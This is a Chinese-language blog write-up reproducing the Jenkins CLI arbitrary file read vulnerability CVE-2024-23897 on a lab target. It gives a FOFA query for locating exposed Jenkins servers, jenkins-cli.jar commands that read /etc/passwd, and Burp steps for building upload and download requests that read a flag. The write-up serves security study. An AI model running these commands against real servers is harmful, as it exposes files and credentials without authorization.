【漏洞复现】Jenkins文件读取漏洞(CVE-2024-23897)

运维Z叔 2024-10-04 09:37:32 阅读 93

简介

jenkins是啥?

简单理解就是:一个开源的、用于方便代码管理、部署的基于web的平台,用于提高团队开发效率(生产力)。

img

Jenkins CLI 任意文件读取漏洞 CVE-2024-23897 是怎么回事?

Jenkins提供了一个命令行接口,用户可以通过jenkins-cli.jar调用这个接口来执行一些jenkins的功能,但是由于使用jenkins-cli.jar执行命令行时,命令行是在服务端调用第三方库 args4j 进行解析的,如果参数是以@开头,就会被认为是一个文件名,并且的将文件内容读取出来作为参数,然后引发报错,将文件内容通过报错显示出来,造成了文件读取。

影响版本

版本<= Jenkins 2.441、版本<= LTS 2.426.2

fofa语法

header="X-Jenkins" || banner="X-Jenkins" || header="X-Hudson" || banner="X-Hudson" || header="X-Required-Permission: hudson.model.Hudson.Read" || banner="X-Required-Permission: hudson.model.Hudson.Read" || body="Jenkins-Agent-Protocols"

img

漏洞复现

这里使用的是jenkins-cli.jar,我的java版本是11,运行jenkins-cli的java版本需要高一些,不然会报错版本问题,网上的脚本下载下来貌似不是特别好用……

jenkins-cli.jar如何获取?

访问jenkins的URL:http://xxx/jnlpJars/jenkins-cli.jar 可以下载到。

img

读取/etc/passwd[只能读取有限行]:

java -jar jenkins-cli.jar -s http://xxx/ -http who-am-i "@/etc/passwd"java -jar jenkins-cli.jar -s http://xxx/ -http help "@/etc/passwd"

img

如果目标开启了“匿名用户可读”选项:

img

则可以使用 connect-node 命令或 reload-job 命令来读取文件全部内容:

img

网上工具使用效果:

img

漏洞复现靶场

因为靶场加了验证,所以需要在数据包头部中添加认证字段Authorization: Basic emthcTp6a2Fx

img

那么这样的话,我们需要对jenkins-cli.jar进行代理抓包,也就是对java.exe进行代理抓包:

可添加命令行:-Dhttp.proxyHost=127.0.0.1 -Dhttp.proxyPort=8080

img

但是,此时的话,我们并没有向头部添加认证字段,因此会出现401的情况:

img

此时还需要在burp中设置一下向请求包中自动添加认证字段:

img

再次访问就不会弹401了,这里本来应该会发送三个包,一个是访问首页的包,还有一个upload和一个download,但是我的burp只抓到两个,少了一个download包,很奇怪:

img

img

因此这里,先将包发送至reperter模块,手动构造一个download:

img

然后先发送一个download包,打开下载接口,准备接收数据,然后再发一个upload包,上传命令到jenkins进行执行,也就是说在repeter模块中需要准备两个包,一个upload和一个download(这个过程有点像反弹shell:先打开监听,然后再接收反弹到的shell):

img

img

再回到download包中,就可以看到读取到了flag:

img

   申明:本账号所分享内容仅用于网络安全技术讨论,切勿用于违法途径,所有渗透都需获取授权,违者后果自行承担,与本号及作者无关,请谨记守法。

免费领取安全学习资料包!

渗透工具

技术文档、书籍

 

面试题

帮助你在面试中脱颖而出

视频

基础到进阶

环境搭建、HTML,PHP,MySQL基础学习,信息收集,SQL注入,XSS,CSRF,暴力破解等等

 

应急响应笔记

学习路线



声明

本文内容仅代表作者观点,或转载于其他网站,本站不以此文作为商业用途
如有涉及侵权,请联系本站进行删除
转载本站原创文章,请注明来源及作者。